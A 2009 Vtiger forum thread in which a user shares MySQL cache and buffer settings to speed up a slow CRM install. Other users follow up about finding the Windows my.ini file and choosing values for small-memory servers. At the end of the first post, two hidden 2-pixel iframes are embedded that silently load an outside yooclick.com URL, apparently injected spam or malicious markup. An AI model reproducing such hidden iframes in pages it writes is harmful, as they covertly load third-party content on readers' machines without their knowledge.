› › › ›

Mysql Tweaks to improve database performance

brianlabrianla
edited October 2009 in Help - 5.0.4 Vote Up0Vote Down
Today I was working with a customer that uses Vtiger. Their instance was so slow it was not even usable. The server was a dual core processor with 4GB or memory. The drives were SATA. We monitored the system and noticed a lot of disk IO which appeared to be the bottle neck. After further investigation I found that mysql by default does not have most cache's turned on.

To see if you have query cache turned on run this query:
show variables like 'query%';

if you see query_cache_size = 0 then you don't have this turned on. Also I added these other settings to my.cnf which really made a big difference

query_cache_size=100M
innodb_buffer_pool_size=200M
innodb_additional_mem_pool = 20M
join_buffer_size = 8M
tmp_table_size = 64M
sort_buffer_size = 8M
query_cache_limit =2M

obviously if you have more memory you can increase these settings and if you have less memory, then use smaller numbers.

There are several sample cnf files for small, medium, and large servers that can also be used. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 4 Comments sorted by Votes Date Added
  • joebordesjoebordes
    Vote Up0Vote Down
    <!-- m --><a class="postlink" href="http://vtiger-spain.com/wiki/doku.php?id=mysqltweak">http://vtiger-spain.com/wiki/doku.php?id=mysqltweak</a><!-- m -->

    thank you
    joe
    tsolucio
  • BernardGBaileyBernardGBailey
    Vote Up0Vote Down
    hi brianla, joe,

    i think i have an issue with mysql timing out on some remote connections using hamachi.

    i cannot find a "my.cnf" file on my server (winxp/ mysql 5 vtiger 5.04) to make changes to.

    can you point me in the right direction of where to find it and what should be in the file?

    cheers
    bernard
  • BernardGBaileyBernardGBailey
    Vote Up0Vote Down
    hi guys,

    ok, i found it as my.ini in a windows implementation in
    c:\program files\vtigercrm5\mysql


    this the current setting

    [mysql]
    default-character-set=utf8

    [mysqld]
    connect_timeout=15
    interactive_timeout=100
    join_buffer_size=1048576
    key_buffer_size=268435456
    max_allowed_packet=16777216
    max_connections=500
    max_connect_errors=10
    myisam_sort_buffer_size=67108864
    read_buffer_size=2097152
    read_rnd_buffer_size=4194304
    sort_buffer_size=2097152
    table_cache=1024
    thread_cache_size=100
    query_cache_limit=2097152
    wait_timeout=300
    query_cache_type=1
    key_buffer_size=67108864
    collation_server=utf8_unicode_ci
    character_set_server=utf8
    default-character-set=utf8
    init_connect='set collation_connection = utf8_general_ci'
    init_connect='set names utf8'


    what settings would you recommend for 512mb / 1gb / 2gb ram?

    cheers
    bernard
Sign In or Register to comment.